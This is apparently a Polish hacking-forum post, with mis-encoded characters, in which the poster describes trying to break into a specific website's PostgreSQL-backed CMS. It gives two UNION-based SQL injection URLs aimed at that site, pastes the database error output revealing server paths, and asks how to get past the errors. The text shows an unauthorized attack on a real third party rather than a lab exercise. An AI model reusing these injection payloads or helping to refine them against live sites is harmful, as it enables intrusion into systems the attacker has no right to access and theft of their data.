POSTGRESQL + injection sql
Z pAmIęTnIkA nIeGrZeCzNeGo AnIołkA
Próbowa³em siê wbiæ na stronkê która ma serwer bazy danych postgresql. Gdy zaczê³em siê bawiæ z unionem wyskoczy³ mnie b³±d:Koniec url:
Cytat:
?mod=content&path=2,2 or 1=1 UNION SELECT 1,2--&PHPSESSID=c7336ae33832e50c8dff43665a47fb2b
Wyskakiwa³ mnie b³±d:
Cytat:
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: column "active" does not exist at character 118 in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 47
Warning: pg_numrows(): supplied argument is not a valid PostgreSQL result resource in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 49
Warning: pg_fetch_array(): supplied argument is not a valid PostgreSQL result resource in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 92
Chcia³em zrobiæ to jak w mysql
czyli dorzuciæ np.
Cytat:
?mod=content&path=2,2 or 1=1 UNION SELECT 1,2 AS active --&PHPSESSID=c7336ae33832e50c8dff43665a47fb2b
ale wynik by³:
Cytat:
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "as" at character 91 in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 47
Warning: pg_numrows(): supplied argument is not a valid PostgreSQL result resource in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 49
Warning: pg_fetch_array(): supplied argument is not a valid PostgreSQL result resource in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 92
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "as" at character 165 in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 47
Warning: pg_numrows(): supplied argument is not a valid PostgreSQL result resource in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 49
Newsletter
zobacz wiêcej »
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: column "active" does not exist at character 118 in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 47
Warning: pg_numrows(): supplied argument is not a valid PostgreSQL result resource in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 49
Warning: pg_fetch_array(): supplied argument is not a valid PostgreSQL result resource in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 92
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "as" at character 91 in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 47
Warning: pg_numrows(): supplied argument is not a valid PostgreSQL result resource in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 49
Warning: pg_fetch_array(): supplied argument is not a valid PostgreSQL result resource in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 92
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "as" at character 144 in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 47
Warning: pg_numrows(): supplied argument is not a valid PostgreSQL result resource in /httpd_users/r/rzgw/rzgw.artnet.pl/cms/scripts/lib/pg_cl.php3 on line 49
Jak mogê obej¶æ to?